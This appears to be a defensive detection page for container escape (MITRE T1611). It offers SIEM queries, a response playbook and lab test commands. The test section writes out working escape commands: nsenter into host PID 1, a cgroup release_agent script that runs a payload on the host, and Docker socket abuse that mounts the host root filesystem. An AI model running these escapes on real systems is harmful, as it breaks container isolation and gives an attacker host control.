Escape to Host
This detection identifies adversaries attempting to escape containerized or virtualized environments to gain access to the underlying host. Key indicators include execution of namespace manipulation utilities (nsenter, unshare), privileged container operations, Docker socket abuse from within containers, cgroup release_agent exploitation, kernel module loading via insmod/modprobe, and host filesystem access via /proc/1/root bind mounts. The detection targets techniques used by malware families such as Doki, Hildegard, and Siloscape, as well as threat groups like TeamTNT that exploit container misconfigurations or kernel vulnerabilities to break out of isolation boundaries and gain host-level code execution.
What is T1611 Escape to Host?
Escape to Host (T1611) maps to the Privilege Escalation tactic — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.
This page provides production-ready detection logic for Escape to Host, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Privilege Escalation
- Technique
- T1611 Escape to Host
- Canonical reference
- https://attack.mitre.org/techniques/T1611/
let ContainerEscapeBinaries = dynamic(["nsenter", "unshare", "insmod", "modprobe"]);
DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where FileName in~ (ContainerEscapeBinaries)
or (FileName =~ "docker" and ProcessCommandLine has_any ("docker.sock", "/var/run/docker.sock") and ProcessCommandLine has "run")
or (FileName in~ ("sh", "bash", "python", "python3", "perl") and ProcessCommandLine has_all ("/cgroup", "release_agent"))
or (FileName =~ "keyctl" and ProcessCommandLine has_any ("session", "link", "show"))
or (ProcessCommandLine has_all ("mount", "/proc/1/root"))
or (ProcessCommandLine has_all ("nsenter", "-t 1"))
or (FileName =~ "chroot" and ProcessCommandLine has "/host")
| extend EscapeType = case(
ProcessCommandLine has_all ("nsenter", "-t 1"), "Namespace Entry - PID 1 Targeting",
FileName =~ "nsenter", "Namespace Entry (nsenter)",
FileName =~ "unshare" and ProcessCommandLine has_any ("--mount", "--pid", "--net", "--user"), "Namespace Unshare",
FileName =~ "keyctl" and ProcessCommandLine has_any ("session", "link"), "Keychain Secret Theft",
FileName =~ "docker" and ProcessCommandLine has "docker.sock", "Docker Socket Abuse",
ProcessCommandLine has_all ("/cgroup", "release_agent"), "Cgroup Release Agent Escape",
FileName in~ ("insmod", "modprobe"), "Kernel Module Load",
ProcessCommandLine has_all ("mount", "/proc/1/root"), "Host Filesystem Mount via /proc",
FileName =~ "chroot" and ProcessCommandLine has "/host", "Chroot Escape",
"Container Escape Indicator"
)
| extend RiskScore = case(
EscapeType =~ "Cgroup Release Agent Escape", 95,
EscapeType =~ "Namespace Entry - PID 1 Targeting", 90,
EscapeType =~ "Host Filesystem Mount via /proc", 90,
EscapeType =~ "Docker Socket Abuse", 85,
EscapeType =~ "Namespace Entry (nsenter)", 80,
EscapeType =~ "Kernel Module Load", 80,
EscapeType =~ "Keychain Secret Theft", 75,
EscapeType =~ "Namespace Unshare", 70,
65
)
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine, EscapeType, RiskScore,
ProcessId, InitiatingProcessId, SHA256
| order by RiskScore desc, TimeGenerated descDetects container escape attempts by monitoring for namespace manipulation utilities (nsenter targeting PID 1, unshare with namespace flags), cgroup release_agent abuse, Docker socket access from within containers to spawn new privileged containers, kernel module loading via insmod/modprobe, and host root filesystem access via /proc/1/root mounts. Risk scores prioritize highest-confidence techniques.
Data Sources
Required Tables
False Positives
- Legitimate container orchestration runtimes (kubelet, containerd, cri-o) using nsenter internally for container exec and health check operations
- System administrators using nsenter or unshare on the host for namespace debugging or network troubleshooting tasks
- Legitimate kernel driver installation by hardware vendors or OS package managers using insmod/modprobe during system initialization
Sigma rule & cross-platform mapping
The detection logic for Escape to Host (T1611) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windowsBrowse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1611
References (5)
- https://attack.mitre.org/techniques/T1611/
- https://docs.docker.com/storage/bind-mounts/
- https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
- https://intezer.com/blog/cloud-security/doki-infecting-docker-servers-in-the-cloud/
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Container Escape via nsenter Targeting Host PID 1
Expected signal: Sysmon EventCode=1: Image=nsenter, CommandLine contains '-t 1 -m -u -i -n -p'; parent process chain includes containerd-shim or runc; AccountName=root; SHA256 of nsenter binary logged
- Test 2Container Escape via Cgroup v1 Release Agent
Expected signal: Sysmon EventCode=1: Image=mount with cgroup filesystem type; Sysmon EventCode=11 (File Create): TargetFilename matches /sys/fs/cgroup/*/release_agent or /tmp/cgrp_escape/release_agent; auditd SYSCALL=mount and write to cgroup path
- Test 3Container Escape via Docker Socket Bind Mount
Expected signal: Sysmon EventCode=1: Image=docker, CommandLine contains 'docker.sock' and 'run -v /:/'; second process creation for chroot with /hostroot argument; DeviceNetworkEvents showing Unix socket connection to /var/run/docker.sock
Response Playbook
Triage
- Step 1: Retrieve the full process tree for the alerting process — query DeviceProcessEvents where DeviceName == '<host>' filtering by ProcessId and InitiatingProcessId to walk the ancestor chain; determine if the chain includes containerd-shim, runc, or docker-containerd-shim (indicating origin inside a container)
- Step 2: Identify which container spawned the escape process — cross-reference the InitiatingProcessId with container runtime logs ('journalctl -u containerd --since <alert_time>') to map the process to a specific container ID
- Step 3: For nsenter alerts, check the -t flag argument value — if targeting PID 1 (init/systemd), this is near-certain host escape; confirm with: 'ls -la /proc/<target_pid>/ns/' to verify namespace ownership
- Step 4: For Docker socket abuse alerts, determine what Docker API operations were performed — check for new container creation (docker inspect output showing containers created within the alert window) or exec commands into existing containers
- Step 5: For cgroup release_agent alerts, check the cgroup filesystem immediately — run 'cat /sys/fs/cgroup/*/release_agent' to identify any attacker-written payload paths and check /tmp and /dev/shm for dropped files
- Step 6: Determine whether the escape succeeded — if UID 0 processes now exist outside expected container namespaces, or if files were modified on the host filesystem (check DeviceFileEvents for host paths like /etc/, /root/, /home/ from unexpected process contexts)
- Step 7: Check the security context of the originating container — run 'docker inspect <container_id>' and examine: Privileged, CapAdd (especially CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_MODULE), Binds (host path mounts), PidMode, and NetworkMode fields
Containment
- Immediately isolate the affected host from the network using EDR device isolation if host-level code execution is confirmed — this prevents lateral movement from the host to other cluster nodes or VMs
- Kill the offending container to stop the attack source: 'docker kill <container_id>' or for Kubernetes 'kubectl delete pod <pod_name> -n <namespace> --force --grace-period=0'
- If a kernel module was loaded as part of the escape, attempt removal: 'lsmod | grep <suspicious_module>' then 'rmmod <module_name>' — if removal fails due to dependencies, schedule host reboot to clear the module
- Revoke all credentials accessible from the host environment — rotate Kubernetes service account tokens, Docker registry credentials, cloud provider instance metadata credentials, and any API keys stored in /etc/ or container secrets mounts
- Block the malicious container image in your registry (Docker Hub, ECR, GCR) and add the image SHA256 to your deny list in the container admission controller to prevent respawning
Evidence Collection
- Before killing the container, capture full inspection output: 'docker inspect <container_id> > /tmp/evidence_container_inspect.json' — this records SecurityOpt, CapAdd, Binds, PidMode, NetworkMode, and the container image used
- Dump the container process tree: 'docker top <container_id> auxf > /tmp/evidence_proctree.txt' and network connections: 'docker exec <container_id> ss -tlnp 2>/dev/null >> /tmp/evidence_network.txt'
- Collect auditd logs covering the escape window: 'ausearch -ts <start_time> -te <end_time> -sc execve,clone,unshare,mount | aureport -x > /tmp/evidence_audit.txt'
- Preserve /proc/<escape_pid>/maps, /proc/<escape_pid>/environ, /proc/<escape_pid>/cmdline, and /proc/<escape_pid>/net/tcp before the process exits
- For cgroup escape: 'find /sys/fs/cgroup -name release_agent -exec cat {} \; -print > /tmp/evidence_cgroup_release_agents.txt' and check /tmp, /dev/shm, /var/tmp for payload scripts
- Export Kubernetes audit logs if applicable: 'kubectl logs -n kube-system kube-apiserver-<node> | grep -A5 -B5 "<pod_name>" > /tmp/evidence_k8s_audit.txt' to identify who created the privileged pod and from which IP
- Collect container runtime logs: 'journalctl -u docker -u containerd --since "<escape_time_minus_1h>" --until "<escape_time_plus_30m>" > /tmp/evidence_runtime_logs.txt'
Escalation Criteria
- ! Escalate to Critical immediately if the adversary achieved confirmed host-level code execution — evidence includes processes running in PID 1 namespace context, UID 0 process creation on host, or files written to host paths like /etc/cron.d/, /etc/systemd/system/, or /root/.ssh/
- ! Escalate immediately if lateral movement is observed from the host to other cluster nodes, VMs, or internal network segments — check DeviceNetworkEvents for outbound SSH connections, port scans, or connections to cloud provider metadata endpoints (169.254.169.254)
- ! Escalate if credentials or secrets were accessed on the host post-escape — look for reads of /etc/shadow, Kubernetes service account tokens (/var/run/secrets/kubernetes.io/), Docker config.json, or cloud provider credentials in ~/.aws/ or ~/.config/gcloud/
- ! Escalate if a persistence mechanism was installed — audit /etc/cron.d/, /etc/cron.hourly/, systemd unit files in /etc/systemd/system/, modified binaries via hash comparison, or SSH authorized_keys additions
- ! Escalate if the escape technique exploits a known CVE (e.g., runc CVE-2019-5736, Docker CVE-2020-15257 'Containerd Shim', Linux kernel CVE-2022-0492) — patch urgency is critical and all hosts running the same runtime version are at risk
Investigation Guide
Forensic Artifacts
- >
/proc/<pid>/ns/ — namespace symlink targets (e.g., mnt:[4026531840]) reveal whether a process shares the host's mount namespace; mismatches indicate container context - >
/proc/<pid>/cgroup — cgroup membership path; container processes show docker/<container_id> or kubepods paths while host processes show / or system.slice - >
/var/log/audit/audit.log — auditd EXECVE, CLONE, UNSHARE, and MOUNT syscall records with full argument lists and UID context - >
/sys/fs/cgroup/*/release_agent — check all cgroup hierarchies for attacker-written notification scripts (cgroup v1 escape artifact) - >
docker inspect <container_id> JSON output — SecurityOpt, CapAdd, Binds, Privileged, PidMode, NetworkMode fields document the container's security posture at time of incident - >
Container runtime journal logs — journalctl -u containerd or journalctl -u docker records container create, exec, and kill operations with timestamps - >
Kubernetes audit log (kube-apiserver-audit.log) — records pod creation requests with full SecurityContext including privileged flag, capabilities, and hostPath volume definitions - >
/etc/cron.d/, /etc/systemd/system/, ~/.ssh/authorized_keys — post-escape persistence artifact locations to audit for new attacker-planted entries
Tuning Guidance
To reduce false positives: (1) Build a process parent allowlist for nsenter — legitimate container runtime use always has containerd-shim, runc, or pause as an ancestor; alert only when nsenter ancestor chain does not include known runtimes. (2) For insmod/modprobe, create time-window exclusions during system boot (first 5 minutes after host startup) and filter initiating processes matching systemd, udev, or kmod. (3) For Docker socket alerts, allowlist specific service accounts used by CI/CD runners (gitlab-runner, jenkins, drone) that legitimately build and run Docker containers. (4) For Kubernetes audit log hunts, exclude known privileged DaemonSets in your environment — monitoring agents (Datadog, Falco, Sysdig, Datadog Agent) and CNI plugins frequently require hostPath mounts and elevated capabilities; maintain a namespace and image allowlist. (5) For cgroup release_agent patterns, false positives are extremely rare — this is a high-fidelity indicator; any suppression should require security team approval and documented justification.
Hunting Queries
Hunts for Docker container creation commands on the host that use dangerous security flags — privileged mode, host PID/network/IPC namespace sharing, or root filesystem bind mounts. Each flag independently enables container escape; combinations indicate elevated risk.
// Hunt: Docker run commands with dangerous security flags indicating privileged container creation
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "docker" and ProcessCommandLine has "run"
| where ProcessCommandLine has_any ("--privileged", "--pid=host", "--network=host", "--ipc=host", "-v /:/")
| extend HostRootMount = iff(ProcessCommandLine has "-v /:/", true, false)
| extend HostPidMode = iff(ProcessCommandLine has "--pid=host", true, false)
| extend FullPrivileged = iff(ProcessCommandLine has "--privileged", true, false)
| extend HostNetworkMode = iff(ProcessCommandLine has "--network=host", true, false)
| extend RiskCount = toint(HostRootMount) + toint(HostPidMode) + toint(FullPrivileged) + toint(HostNetworkMode)
| where RiskCount >= 1
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, HostRootMount, HostPidMode, FullPrivileged, HostNetworkMode, RiskCount
| order by RiskCount desc, TimeGenerated descindex=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*docker*"
| eval cmd=lower(CommandLine)
| where match(cmd, "\brun\b") AND (match(cmd, "--privileged") OR match(cmd, "--pid=host") OR match(cmd, "--network=host") OR match(cmd, "-v /:/"))
| eval host_mount=if(match(cmd, "-v /:/"), 1, 0)
| eval privileged=if(match(cmd, "--privileged"), 1, 0)
| eval host_pid=if(match(cmd, "--pid=host"), 1, 0)
| eval host_net=if(match(cmd, "--network=host"), 1, 0)
| eval risk_count=host_mount+privileged+host_pid+host_net
| table _time, host, User, CommandLine, host_mount, privileged, host_pid, host_net, risk_count
| sort -risk_count, -_timeHunts for processes reading /proc/1/ns symlinks or /proc/1/root — a reconnaissance pattern preceding nsenter-based container escape or host filesystem access via the init process namespace. Legitimate container runtimes are filtered; unexpected processes accessing these paths warrant investigation.
// Hunt: Processes reading /proc/1/ paths — reconnaissance for namespace entry or host filesystem access
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where FolderPath startswith "/proc/1/"
or (FolderPath matches regex @"/proc/\d+/ns" and FileName in ("mnt", "pid", "net", "user", "uts", "ipc"))
| where InitiatingProcessFileName !in~ ("ps", "top", "htop", "systemd", "kubelet", "containerd", "containerd-shim", "dockerd", "crio", "crictl", "bash")
and InitiatingProcessAccountName !in~ ("root") // Remove this filter if investigating root processes
| summarize AccessCount = count(), Files = make_set(FileName), Commands = make_set(InitiatingProcessCommandLine) by DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, bin(TimeGenerated, 5m)
| where AccessCount >= 3
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, AccessCount, Files, Commands
| order by AccessCount descindex=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
| eval filepath=lower(TargetFilename)
| where match(filepath, "/proc/1/(ns|environ|maps|mounts|root|fd)") OR match(filepath, "/proc/\d+/ns/(mnt|pid|net|user)")
| eval proc=lower(mvindex(split(Image, "/"), -1))
| where NOT match(proc, "(ps|top|htop|systemd|kubelet|containerd|crictl|dockerd|crio)")
| stats count as access_count, values(TargetFilename) as files, values(CommandLine) as cmds by host, User, Image, span(_time, 5m)
| where access_count >= 2
| table _time, host, User, Image, access_count, files, cmds
| sort -access_countHunts Kubernetes API server audit logs for pod creation, patch, or update requests specifying privileged security context, hostPath volume mounts, host PID namespace sharing, or CAP_SYS_ADMIN capability grants — all of which enable or trivialize container escape to the underlying cluster node.
// Hunt: Kubernetes pods created with privileged security context or hostPath volumes in audit logs
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName has_any ("Create", "Update", "Patch")
| where ResourceId has "/pods/"
| extend RequestBody = tostring(AdditionalDetails)
| where RequestBody has "\"privileged\":true"
or RequestBody has "\"hostPath\""
or RequestBody has "\"hostPID\":true"
or RequestBody has "\"hostNetwork\":true"
or RequestBody has "CAP_SYS_ADMIN"
or RequestBody has "CAP_NET_ADMIN"
| extend InitiatingUser = tostring(InitiatedBy.user.userPrincipalName)
| extend SourceIP = tostring(InitiatedBy.user.ipAddress)
| extend RiskType = case(
RequestBody has "\"privileged\":true", "Privileged Pod",
RequestBody has "\"hostPath\"", "HostPath Volume Mount",
RequestBody has "\"hostPID\":true", "Host PID Namespace",
RequestBody has "CAP_SYS_ADMIN", "CAP_SYS_ADMIN Capability",
"Dangerous Security Context"
)
| project TimeGenerated, InitiatingUser, SourceIP, OperationName, ResourceId, RiskType, RequestBody
| order by TimeGenerated descindex=* sourcetype=kube:apiserver:audit (verb=create OR verb=patch OR verb=update) objectRef.resource=pods
| spath input=_raw output=request_obj path=requestObject
| where match(request_obj, "\"privileged\"\s*:\s*true") OR match(request_obj, "\"hostPath\"") OR match(request_obj, "\"hostPID\"\s*:\s*true") OR match(request_obj, "CAP_SYS_ADMIN")
| eval risk_type=case(
match(request_obj, "\"privileged\"\s*:\s*true"), "privileged_pod",
match(request_obj, "\"hostPath\""), "hostpath_volume_mount",
match(request_obj, "\"hostPID\"\s*:\s*true"), "host_pid_namespace",
match(request_obj, "CAP_SYS_ADMIN"), "cap_sys_admin_capability",
1=1, "dangerous_security_context"
)
| spath input=_raw output=requesting_user path=user.username
| table _time, requesting_user, objectRef.namespace, objectRef.name, verb, risk_type
| sort -_timeAtomic Red Team Tests
Simulates an attacker with shell access inside a privileged container using nsenter to enter the host's PID 1 namespace and execute commands on the host. This tests detection of namespace manipulation tools used to break container isolation.
Command
# Requires Docker installed on test host. Runs a privileged container and uses nsenter to target host PID 1.
docker run --rm --privileged --pid=host alpine:latest sh -c 'nsenter -t 1 -m -u -i -n -p -- sh -c "echo ESCAPE_TEST: $(hostname) $(id) > /tmp/t1611_escape_evidence.txt && cat /tmp/t1611_escape_evidence.txt"'Cleanup
rm -f /tmp/t1611_escape_evidence.txt; docker rm -f $(docker ps -aq --filter ancestor=alpine:latest) 2>/dev/null || trueExpected Telemetry
Sysmon EventCode=1: Image=nsenter, CommandLine contains '-t 1 -m -u -i -n -p'; parent process chain includes containerd-shim or runc; AccountName=root; SHA256 of nsenter binary logged
Expected Detection
Alert fires on DeviceProcessEvents where FileName=nsenter and ProcessCommandLine has '-t 1'; EscapeType=Namespace Entry - PID 1 Targeting; RiskScore=90
Demonstrates the cgroup v1 release_agent container escape technique where a writable cgroup filesystem is abused to execute an attacker-controlled script with host-level privileges when the cgroup empties. This tests detection of cgroup release_agent writes.
Command
# Requires Docker. WARNING: Run only in isolated lab environment. Tests cgroup escape path.
docker run --rm -it --cap-add SYS_ADMIN ubuntu:22.04 /bin/bash -c '
mkdir -p /tmp/cgrp_escape &&
mount -t cgroup -o memory cgroup /tmp/cgrp_escape 2>/dev/null &&
mkdir -p /tmp/cgrp_escape/x &&
echo 1 > /tmp/cgrp_escape/x/notify_on_release &&
host_path=$(cat /etc/mtab | grep overlay | awk "{print \$4}" | tr "," "\n" | grep upperdir | cut -d= -f2 | head -1) &&
echo "$host_path/tmp/t1611_rlagent_payload.sh" > /tmp/cgrp_escape/release_agent &&
printf "#!/bin/sh\nid > /tmp/t1611_rlagent_output.txt\n" > /tmp/t1611_rlagent_payload.sh &&
chmod +x /tmp/t1611_rlagent_payload.sh &&
echo "Release agent written to cgroup. Triggering..." &&
sh -c "echo \$\$ > /tmp/cgrp_escape/x/cgroup.procs"
'Cleanup
rm -f /tmp/t1611_rlagent_output.txt /tmp/t1611_rlagent_payload.sh; docker rm -f $(docker ps -aq --filter ancestor=ubuntu:22.04) 2>/dev/null || trueExpected Telemetry
Sysmon EventCode=1: Image=mount with cgroup filesystem type; Sysmon EventCode=11 (File Create): TargetFilename matches /sys/fs/cgroup/*/release_agent or /tmp/cgrp_escape/release_agent; auditd SYSCALL=mount and write to cgroup path
Expected Detection
Alert fires on DeviceProcessEvents where ProcessCommandLine has_all('/cgroup', 'release_agent'); EscapeType=Cgroup Release Agent Escape; RiskScore=95
Simulates the technique where an attacker gains access to a container that has the Docker socket (/var/run/docker.sock) mounted, then uses the Docker API through the socket to create a new privileged container with the host root filesystem mounted, achieving host code execution.
Command
# Requires Docker. Simulates attacker escalating via exposed Docker socket.
# Step 1: Start a container with docker.sock mounted (simulating misconfigured deployment)
docker run --rm -d --name t1611_test_victim -v /var/run/docker.sock:/var/run/docker.sock alpine:latest sleep 600
# Step 2: Simulate attacker executing escape from within the container
docker exec t1611_test_victim sh -c '
apk add --no-cache docker-cli --quiet 2>/dev/null
docker run --rm -v /:/hostroot alpine:latest sh -c "chroot /hostroot sh -c \"id > /tmp/t1611_socket_escape.txt && cat /tmp/t1611_socket_escape.txt\""
'Cleanup
docker rm -f t1611_test_victim 2>/dev/null || true; rm -f /tmp/t1611_socket_escape.txtExpected Telemetry
Sysmon EventCode=1: Image=docker, CommandLine contains 'docker.sock' and 'run -v /:/'; second process creation for chroot with /hostroot argument; DeviceNetworkEvents showing Unix socket connection to /var/run/docker.sock
Expected Detection
Alert fires on DeviceProcessEvents where FileName=docker and ProcessCommandLine has 'docker.sock' and 'run'; EscapeType=Docker Socket Abuse; RiskScore=85; subsequent privileged container creation also generates secondary alert